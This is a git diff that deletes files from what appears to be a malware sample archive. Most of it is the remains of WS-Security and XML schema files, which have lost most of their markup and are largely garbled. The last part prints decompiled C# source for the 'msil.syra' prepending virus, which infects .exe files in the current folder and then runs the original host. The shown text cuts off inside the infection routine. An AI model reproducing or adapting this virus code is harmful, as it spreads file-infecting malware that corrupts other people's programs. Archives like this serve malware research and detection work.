- - - - - - - 5.3.3 X509Token Assertion - - - - - - - 5.3.3 X509Token Assertion - - - - - - - 5.3.3 X509Token Assertion - - - - - - - 5.3.3 X509Token Assertion - - - - - - - - 5.3.4 KerberosToken Assertion - - - - - - - - - - - - 5.3.4 KerberosToken Assertion - - - - - - - 5.3.4 KerberosToken Assertion - - - - - - - - 5.3.5 SpnegoContextToken Assertion - - - - - - - - - - - - - - - - - - - - 5.3.6 SecurityContextToken Assertion - - - - - - - - - - - 5.3.6 SecurityContextToken Assertion - - - - - - - 5.3.6 SecurityContextToken Assertion - - - - - - - - 5.3.7 SecureConversationToken Assertion - - - - - - - - - - - - - - - - - - - - - - 5.3.7 SecureConversationToken Assertion - - - - - - - - 5.3.8 SamlToken Assertion - - - - - - - - - - - - 5.3.8 SamlToken Assertion - - - - - - - 5.3.8 SamlToken Assertion - - - - - - - 5.3.8 SamlToken Assertion - - - - - - - - 5.3.9 RelToken Assertion - - - - - - - - - - - - 5.3.9 RelToken Assertion - - - - - - - 5.3.9 RelToken Assertion - - - - - - - 5.3.9 RelToken Assertion - - - - - - - 5.3.9 RelToken Assertion - - - - - - - - 5.3.10 HttpsToken Assertion - - - - - - - 5.3.10 HttpsToken Assertion - - - - - - - 5.3.10 HttpsToken Assertion - - - - - - - 5.3.10 HttpsToken Assertion - - - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - - - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - 7.1 AlgorithmSuite Assertion - - - - - - - - 7.2 Layout Assertion - - - - - - - - 7.2 Layout Assertion - - - - - - - 7.2 Layout Assertion - - - - - - - 7.2 Layout Assertion - - - - - - - 7.2 Layout Assertion - - - - - - - - 7.3 TransportBinding Assertion - - - - - - - - 7.3 TransportBinding Assertion - - - - - - - - - - 7.3 TransportBinding Assertion - - - - - - - - 7.4 SymmetricBinding Assertion - - - - - - - 7.4 SymmetricBinding Assertion - - - - - - - 8=7.4 SymmetricBinding Assertion - - - - - - - 7.4 SymmetricBinding Assertion - - - - - - - - - - - 7.4 SymmetricBinding Assertion - - - - - - - 7.4 SymmetricBinding Assertion - - - - - - - 7.4 SymmetricBinding Assertion - - - - - - - 7.4 SymmetricBinding Assertion - - - - - - - - 7.5 AsymmetricBinding Assertion - - - - - - - - 7.5 AsymmetricBinding Assertion - - - - - - - - 7.5 AsymmetricBinding Assertion - - - - - - - - 7.5 AsymmetricBinding Assertion - - - - - - - - 7.5 AsymmetricBinding Assertion - - - - - - - - 7.5 AsymmetricBinding Assertion - - - - - - - - 7.5 AsymmetricBinding Assertion - - - - - - - - - - - - - - - - 8.1 SupportingTokens Assertion - - - - - - - - - - - - - 8.2 SignedSupportingTokens Assertion - - - - - - - - - - - - - 8.3 EndorsingSupportingTokens Assertion - - - - - - - - - - - - - 8.4 SignedEndorsingSupportingTokens Assertion - - - - - - - - - - - - - 8.5 SignedEncryptedSupportingTokens Assertion - - - - - - - - - - - - - 8.6 EndorsingEncryptedSupportingTokens Assertion - - - - - - - - - - - - - 8.7 SignedEndorsingEncryptedSupportingTokens Assertion - - - - - - - - - - - - - - 9.1 Wss10 Assertion - - - - - - - - 9.1 Wss10 Assertion - - - - - - - 9.1 Wss10 Assertion - - - - - - - 9.1 Wss10 Assertion - - - - - - - 9.1 Wss10 Assertion - - - - - - - - 9.2 Wss11 Assertion - - - - - - - - - - - - 9.2 Wss11 Assertion - - - - - - - 9.2 Wss11 Assertion - - - - - - - 9.2 Wss11 Assertion - - - - - - - - - 10.1 Trust10 Assertion - - - - - - - - 10.1 Trust10 Assertion - - - - - - - 10.1 Trust10 Assertion - - - - - - - 10.1 Trust10 Assertion - - - - - - - 10.1 Trust10 Assertion - - - - - - - 10.1 Trust10 Assertion - - - - - - - 10.1 Trust10 Assertion - - - - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ws-securitypolicy.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ws-securitypolicy.xsd deleted file mode 100644 index 8eb7d416..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ws-securitypolicy.xsd +++ /dev/null @@ -1,979 +0,0 @@ - - - - - - - - - - - - 5.1.1 SignedParts Assertion - - - - - - - 5.2.1 EncryptedParts Assertion - - - - - - - - - - - - - - - - - - - - - - 5.1.2 SignedElements Assertion - - - - - - - 5.2.2 EncryptedElements Assertion - - - - - - - 5.3.1 RequiredElements Assertion - - - - - - - - - - - - - - - - - 6.1 Token Inclusion - - - - - - - - - - - - - - - - - - - 6.3.1 UsernameToken Assertion - - - - - - - - - - - - - - - - 6.3.1 UsernameToken Assertion - - - - - - - 6.3.1 UsernameToken Assertion - - - - - - - - - - - 6.3.2 IssuedToken Assertion - - - - - - - - - - - - - - - - - - - - - - - - - 6.3.2 IssuedToken Assertion - - - - - - - 6.3.2 IssuedToken Assertion - - - - - - - 6.3.2 IssuedToken Assertion - - - - - - - - 6.3.3 X509Token Assertion - - - - - - - - 6.3.3 X509Token Assertion - - - - - - - 6.3.3 X509Token Assertion - - - - - - - 6.3.3 X509Token Assertion - - - - - - - 6.3.3 X509Token Assertion - - - - - - - 6.3.3 X509Token Assertion - - - - - - - 6.3.3 X509Token Assertion - - - - - - - 6.3.3 X509Token Assertion - - - - - - - 6.3.3 X509Token Assertion - - - - - - - 6.3.3 X509Token Assertion - - - - - - - 6.3.3 X509Token Assertion - - - - - - - 6.3.3 X509Token Assertion - - - - - - - 6.3.3 X509Token Assertion - - - - - - - - 6.3.4 KerberosToken Assertion - - - - - - - - - - 6.3.4 KerberosToken Assertion - - - - - - - 6.3.4 KerberosToken Assertion - - - - - - - - 6.3.5 SpnegoContextToken Assertion - - - - - - - - - - - - - - - - - - 6.3.6 SecurityContextToken Assertion - - - - - - - - - 6.3.6 SecurityContextToken Assertion - - - - - - - 6.3.6 SecurityContextToken Assertion - - - - - - - - 6.3.7 SecureConversationToken Assertion - - - - - - - - - - - - - - - - - - - - 6.3.7 SecureConversationToken Assertion - - - - - - - - 6.3.8 SamlToken Assertion - - - - - - - - - - 6.3.8 SamlToken Assertion - - - - - - - 6.3.8 SamlToken Assertion - - - - - - - 6.3.8 SamlToken Assertion - - - - - - - 6.3.8 SamlToken Assertion - - - - - - - 6.3.8 SamlToken Assertion - - - - - - - - 6.3.9 RelToken Assertion - - - - - - - - - - 6.3.9 RelToken Assertion - - - - - - - 6.3.9 RelToken Assertion - - - - - - - 6.3.9 RelToken Assertion - - - - - - - 6.3.9 RelToken Assertion - - - - - - - - 6.3.10 HttpsToken Assertion - - - - - - - - - - - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - - - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - - 8.2 Layout Assertion - - - - - - - - 8.2 Layout Assertion - - - - - - - 8.2 Layout Assertion - - - - - - - 8.2 Layout Assertion - - - - - - - 8.2 Layout Assertion - - - - - - - - 8.3 TransportBinding Assertion - - - - - - - - 8.3 TransportBinding Assertion - - - - - - - - - - 8.3 TransportBinding Assertion - - - - - - - - - 8.4 SymmetricBinding Assertion - - - - - - - 8.4 SymmetricBinding Assertion - - - - - - - 8.4 SymmetricBinding Assertion - - - - - - - 8.4 SymmetricBinding Assertion - - - - - - - - - - - 8.4 SymmetricBinding Assertion - - - - - - - 8.4 SymmetricBinding Assertion - - - - - - - 8.4 SymmetricBinding Assertion - - - - - - - - 8.4 SymmetricBinding Assertion - - - - - - - - 8.5 AsymmetricBinding Assertion - - - - - - - - 8.5 AsymmetricBinding Assertion - - - - - - - - 8.5 AsymmetricBinding Assertion - - - - - - - - - - - - - - - - - 9.1 SupportingTokens Assertion - - - - - - - - - - - - - 9.2 SignedSupportingTokens Assertion - - - - - - - - - - - - - 9.3 EndorsingSupportingTokens Assertion - - - - - - - - - - - - - 9.4 SignedEndorsingSupportingTokens Assertion - - - - - - - - - - - - - - 10.1 Wss10 Assertion - - - - - - - - 10.1 Wss10 Assertion - - - - - - - 10.1 Wss10 Assertion - - - - - - - 10.1 Wss10 Assertion - - - - - - - 10.1 Wss10 Assertion - - - - - - - - 10.2 Wss11 Assertion - - - - - - - - - - - - 10.2 Wss11 Assertion - - - - - - - 10.2 Wss11 Assertion - - - - - - - 10.2 Wss11 Assertion - - - - - - - - - 11.1 Trust10 Assertion - - - - - - - - 11.1 Trust10 Assertion - - - - - - - 11.1 Trust10 Assertion - - - - - - - 11.1 Trust10 Assertion - - - - - - - 11.1 Trust10 Assertion - - - - - - - 11.1 Trust10 Assertion - - - - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ws-trust-1/3.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ws-trust-1/3.xsd deleted file mode 100644 index dff1c9b3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ws-trust-1/3.xsd +++ /dev/null @@ -1,444 +0,0 @@ - - - - - - - - - - - - - - - Actual content model is non-deterministic, hence wildcard. The following shows intended content model: - - <xs:element ref='wst:TokenType' minOccurs='0' /> - <xs:element ref='wst:RequestType' /> - <xs:element ref='wsp:AppliesTo' minOccurs='0' /> - <xs:element ref='wst:Claims' minOccurs='0' /> - <xs:element ref='wst:Entropy' minOccurs='0' /> - <xs:element ref='wst:Lifetime' minOccurs='0' /> - <xs:element ref='wst:AllowPostdating' minOccurs='0' /> - <xs:element ref='wst:Renewing' minOccurs='0' /> - <xs:element ref='wst:OnBehalfOf' minOccurs='0' /> - <xs:element ref='wst:Issuer' minOccurs='0' /> - <xs:element ref='wst:AuthenticationType' minOccurs='0' /> - <xs:element ref='wst:KeyType' minOccurs='0' /> - <xs:element ref='wst:KeySize' minOccurs='0' /> - <xs:element ref='wst:SignatureAlgorithm' minOccurs='0' /> - <xs:element ref='wst:Encryption' minOccurs='0' /> - <xs:element ref='wst:EncryptionAlgorithm' minOccurs='0' /> - <xs:element ref='wst:CanonicalizationAlgorithm' minOccurs='0' /> - <xs:element ref='wst:ProofEncryption' minOccurs='0' /> - <xs:element ref='wst:UseKey' minOccurs='0' /> - <xs:element ref='wst:SignWith' minOccurs='0' /> - <xs:element ref='wst:EncryptWith' minOccurs='0' /> - <xs:element ref='wst:DelegateTo' minOccurs='0' /> - <xs:element ref='wst:Forwardable' minOccurs='0' /> - <xs:element ref='wst:Delegatable' minOccurs='0' /> - <xs:element ref='wsp:Policy' minOccurs='0' /> - <xs:element ref='wsp:PolicyReference' minOccurs='0' /> - <xs:any namespace='##other' processContents='lax' minOccurs='0' maxOccurs='unbounded' /> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Actual content model is non-deterministic, hence wildcard. The following shows intended content model: - - <xs:element ref='wst:TokenType' minOccurs='0' /> - <xs:element ref='wst:RequestType' /> - <xs:element ref='wst:RequestedSecurityToken' minOccurs='0' /> - <xs:element ref='wsp:AppliesTo' minOccurs='0' /> - <xs:element ref='wst:RequestedAttachedReference' minOccurs='0' /> - <xs:element ref='wst:RequestedUnattachedReference' minOccurs='0' /> - <xs:element ref='wst:RequestedProofToken' minOccurs='0' /> - <xs:element ref='wst:Entropy' minOccurs='0' /> - <xs:element ref='wst:Lifetime' minOccurs='0' /> - <xs:element ref='wst:Status' minOccurs='0' /> - <xs:element ref='wst:AllowPostdating' minOccurs='0' /> - <xs:element ref='wst:Renewing' minOccurs='0' /> - <xs:element ref='wst:OnBehalfOf' minOccurs='0' /> - <xs:element ref='wst:Issuer' minOccurs='0' /> - <xs:element ref='wst:AuthenticationType' minOccurs='0' /> - <xs:element ref='wst:Authenticator' minOccurs='0' /> - <xs:element ref='wst:KeyType' minOccurs='0' /> - <xs:element ref='wst:KeySize' minOccurs='0' /> - <xs:element ref='wst:SignatureAlgorithm' minOccurs='0' /> - <xs:element ref='wst:Encryption' minOccurs='0' /> - <xs:element ref='wst:EncryptionAlgorithm' minOccurs='0' /> - <xs:element ref='wst:CanonicalizationAlgorithm' minOccurs='0' /> - <xs:element ref='wst:ProofEncryption' minOccurs='0' /> - <xs:element ref='wst:UseKey' minOccurs='0' /> - <xs:element ref='wst:SignWith' minOccurs='0' /> - <xs:element ref='wst:EncryptWith' minOccurs='0' /> - <xs:element ref='wst:DelegateTo' minOccurs='0' /> - <xs:element ref='wst:Forwardable' minOccurs='0' /> - <xs:element ref='wst:Delegatable' minOccurs='0' /> - <xs:element ref='wsp:Policy' minOccurs='0' /> - <xs:element ref='wsp:PolicyReference' minOccurs='0' /> - <xs:any namespace='##other' processContents='lax' minOccurs='0' maxOccurs='unbounded' /> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - The RequestSecurityTokenCollection (RSTC) element is used to provide multiple RST requests. - One or more RSTR elements in an RSTRC element are returned in the response to the RequestSecurityTokenCollection. - - - - - - - - - - - - The <wst:RequestSecurityTokenResponseCollection> element (RSTRC) MUST be used to return a security token or - response to a security token request on the final response. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ws-trust.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ws-trust.xsd deleted file mode 100644 index 0bf1518f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ws-trust.xsd +++ /dev/null @@ -1,451 +0,0 @@ - - - - - - - - - - - - - - - Actual content model is non-deterministic, hence wildcard. The following shows intended content model: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Actual content model is non-deterministic, hence wildcard. The following shows intended content model: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/xenc-schema.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/xenc-schema.xsd deleted file mode 100644 index 534b29a7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/xenc-schema.xsd +++ /dev/null @@ -1,137 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/xml.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/xml.xsd deleted file mode 100644 index c63b7982..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/xml.xsd +++ /dev/null @@ -1,135 +0,0 @@ - - - - - - See http://www.w3.org/XML/1998/namespace.html and - http://www.w3.org/TR/REC-xml for information about this namespace. - - This schema document describes the XML namespace, in a form - suitable for import by other schema documents. - - Note that local names in this namespace are intended to be defined - only by the World Wide Web Consortium or its subgroups. The - following names are currently defined in this namespace and should - not be used with conflicting semantics by any Working Group, - specification, or document instance: - - base (as an attribute name): denotes an attribute whose value - provides a URI to be used as the base for interpreting any - relative URIs in the scope of the element on which it - appears; its value is inherited. This name is reserved - by virtue of its definition in the XML Base specification. - - id (as an attribute name): denotes an attribute whose value - should be interpreted as if declared to be of type ID. - The xml:id specification is not yet a W3C Recommendation, - but this attribute is included here to facilitate experimentation - with the mechanisms it proposes. Note that it is _not_ included - in the specialAttrs attribute group. - - lang (as an attribute name): denotes an attribute whose value - is a language code for the natural language of the content of - any element; its value is inherited. This name is reserved - by virtue of its definition in the XML specification. - - space (as an attribute name): denotes an attribute whose - value is a keyword indicating what whitespace processing - discipline is intended for the content of the element; its - value is inherited. This name is reserved by virtue of its - definition in the XML specification. - - Father (in any context at all): denotes Jon Bosak, the chair of - the original XML Working Group. This name is reserved by - the following decision of the W3C XML Plenary and - XML Coordination groups: - - In appreciation for his vision, leadership and dedication - the W3C XML Plenary on this 10th day of February, 2000 - reserves for Jon Bosak in perpetuity the XML name - xml:Father - - - - - This schema defines attributes and an attribute group - suitable for use by - schemas wishing to allow xml:base, xml:lang or xml:space attributes - on elements they define. - - To enable this, such a schema must import this schema - for the XML namespace, e.g. as follows: - <schema . . .> - . . . - <import namespace="http://www.w3.org/XML/1998/namespace" - schemaLocation="http://www.w3.org/2001/03/xml.xsd"/> - - Subsequently, qualified reference to any of the attributes - or the group defined below will have the desired effect, e.g. - - <type . . .> - . . . - <attributeGroup ref="xml:specialAttrs"/> - - will define a type which will schema-validate an instance - element with any of those attributes - - - - In keeping with the XML Schema WG's standard versioning - policy, this schema document will persist at - http://www.w3.org/2004/10/xml.xsd. - At the date of issue it can also be found at - http://www.w3.org/2001/xml.xsd. - The schema document at that URI may however change in the future, - in order to remain compatible with the latest version of XML Schema - itself, or with the XML namespace itself. In other words, if the XML - Schema or XML namespaces change, the version of this document at - http://www.w3.org/2001/xml.xsd will change - accordingly; the version at - http://www.w3.org/2004/10/xml.xsd will not change. - - - - - - Attempting to install the relevant ISO 2- and 3-letter - codes as the enumerated possible values is probably never - going to be a realistic possibility. See - RFC 3066 at http://www.ietf.org/rfc/rfc3066.txt and the IANA registry - at http://www.iana.org/assignments/lang-tag-apps.htm for - further information. - - - - - - - - - - - - - - - See http://www.w3.org/TR/xmlbase/ for - information about this attribute. - - - - - - See http://www.w3.org/TR/xml-id/ for - information about this attribute. - - - - - - - - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/xmldsig-core-schema.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/xmldsig-core-schema.xsd deleted file mode 100644 index 1f93cdfd..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/xmldsig-core-schema.xsd +++ /dev/null @@ -1,310 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.a-ee38241a988aa72787b1491e5697a7ab6b47c0957759952fb2457cf926131dd5/AssemblyInfo.cs b/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.a-ee38241a988aa72787b1491e5697a7ab6b47c0957759952fb2457cf926131dd5/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.a-ee38241a988aa72787b1491e5697a7ab6b47c0957759952fb2457cf926131dd5/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.a-ee38241a988aa72787b1491e5697a7ab6b47c0957759952fb2457cf926131dd5/Virus.Win32.HLLP.Flatei.a.csproj b/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.a-ee38241a988aa72787b1491e5697a7ab6b47c0957759952fb2457cf926131dd5/Virus.Win32.HLLP.Flatei.a.csproj deleted file mode 100644 index e878e613..00000000 --- a/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.a-ee38241a988aa72787b1491e5697a7ab6b47c0957759952fb2457cf926131dd5/Virus.Win32.HLLP.Flatei.a.csproj +++ /dev/null @@ -1,36 +0,0 @@ - - - - - Debug - AnyCPU - {80F12460-9D56-4C26-8FA8-08797E8C4EF9} - WinExe - syra - 0.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.a-ee38241a988aa72787b1491e5697a7ab6b47c0957759952fb2457cf926131dd5/Virus.Win32.HLLP.Flatei.a.sln b/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.a-ee38241a988aa72787b1491e5697a7ab6b47c0957759952fb2457cf926131dd5/Virus.Win32.HLLP.Flatei.a.sln deleted file mode 100644 index f5ec9b73..00000000 --- a/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.a-ee38241a988aa72787b1491e5697a7ab6b47c0957759952fb2457cf926131dd5/Virus.Win32.HLLP.Flatei.a.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "syra", "Virus.Win32.HLLP.Flatei.a-ee38241a988aa72787b1491e5697a7ab6b47c0957759952fb2457cf926131dd5.csproj", "{80F12460-9D56-4C26-8FA8-08797E8C4EF9}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {80F12460-9D56-4C26-8FA8-08797E8C4EF9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {80F12460-9D56-4C26-8FA8-08797E8C4EF9}.Debug|Any CPU.Build.0 = Debug|Any CPU - {80F12460-9D56-4C26-8FA8-08797E8C4EF9}.Release|Any CPU.ActiveCfg = Release|Any CPU - {80F12460-9D56-4C26-8FA8-08797E8C4EF9}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.a-ee38241a988aa72787b1491e5697a7ab6b47c0957759952fb2457cf926131dd5/msil_syra_by_alcopaul.cs b/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.a-ee38241a988aa72787b1491e5697a7ab6b47c0957759952fb2457cf926131dd5/msil_syra_by_alcopaul.cs deleted file mode 100644 index 0a256f4d..00000000 --- a/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.a-ee38241a988aa72787b1491e5697a7ab6b47c0957759952fb2457cf926131dd5/msil_syra_by_alcopaul.cs +++ /dev/null @@ -1,131 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: msil_syra_by_alcopaul -// Assembly: syra, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 04546A85-74D1-4278-A816-434AC3D415F6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.HLLP.Flatei.a-ee38241a988aa72787b1491e5697a7ab6b47c0957759952fb2457cf926131dd5.exe - -using System.IO; -using System.Reflection; -using System.Runtime.InteropServices; - -internal class msil_syra_by_alcopaul -{ - public static void Main(string[] args) - { - Module module = Assembly.GetExecutingAssembly().GetModules()[0]; - foreach (string file in Directory.GetFiles(Directory.GetCurrentDirectory(), "*.exe")) - { - FileStream fileStream = new FileStream(file, FileMode.OpenOrCreate, FileAccess.Read); - StreamReader streamReader = new StreamReader((Stream) fileStream); - int offset = (int) fileStream.Length - 4; - streamReader.BaseStream.Seek((long) offset, SeekOrigin.Begin); - string str1 = streamReader.ReadLine(); - streamReader.Close(); - string str2 = "alco"; - if (!(str1 == str2)) - { - if (!(file == module.FullyQualifiedName)) - { - try - { - msil_syra_by_alcopaul.Infect(file); - break; - } - catch - { - } - } - } - } - FileStream input = new FileStream(module.FullyQualifiedName, FileMode.OpenOrCreate, FileAccess.Read); - BinaryReader binaryReader = new BinaryReader((Stream) input); - int length = (int) input.Length - 5124; - binaryReader.BaseStream.Seek(5124L, SeekOrigin.Begin); - byte[] buffer = new byte[(int) checked ((uint) length)]; - int count = length; - int index = 0; - int num; - for (; count > 0; count -= num) - { - num = binaryReader.Read(buffer, index, count); - if (num != 0) - index += num; - else - break; - } - binaryReader.Close(); - BinaryWriter binaryWriter = new BinaryWriter((Stream) new FileStream("hostbyte.exe", FileMode.OpenOrCreate, FileAccess.Write)); - binaryWriter.BaseStream.Seek(0L, SeekOrigin.Begin); - binaryWriter.Write(buffer); - binaryWriter.Close(); - msil_syra_by_alcopaul.Win32.ShellExecute(0, (string) null, "hostbyte.exe", (string) null, Directory.GetCurrentDirectory(), 1); - do - { - try - { - File.Delete("hostbyte.exe"); - } - catch - { - } - } - while (File.Exists("hostbyte.exe")); - msil_syra_by_alcopaul.Win32.MessageBox(0, "::: prepending virus purely written in d flat :::", "msil.syra by alcopaul", 0U); - } - - public static void Infect(string host) - { - BinaryReader binaryReader1 = new BinaryReader((Stream) new FileStream(Assembly.GetExecutingAssembly().GetModules()[0].FullyQualifiedName, FileMode.OpenOrCreate, FileAccess.Read)); - binaryReader1.BaseStream.Seek(0L, SeekOrigin.Begin); - byte[] buffer1 = new byte[5124]; - int count = 5124; - int index1 = 0; - int num1; - for (; count > 0; count -= num1) - { - num1 = binaryReader1.Read(buffer1, index1, count); - if (num1 != 0) - index1 += num1; - else - break; - } - binaryReader1.Close(); - 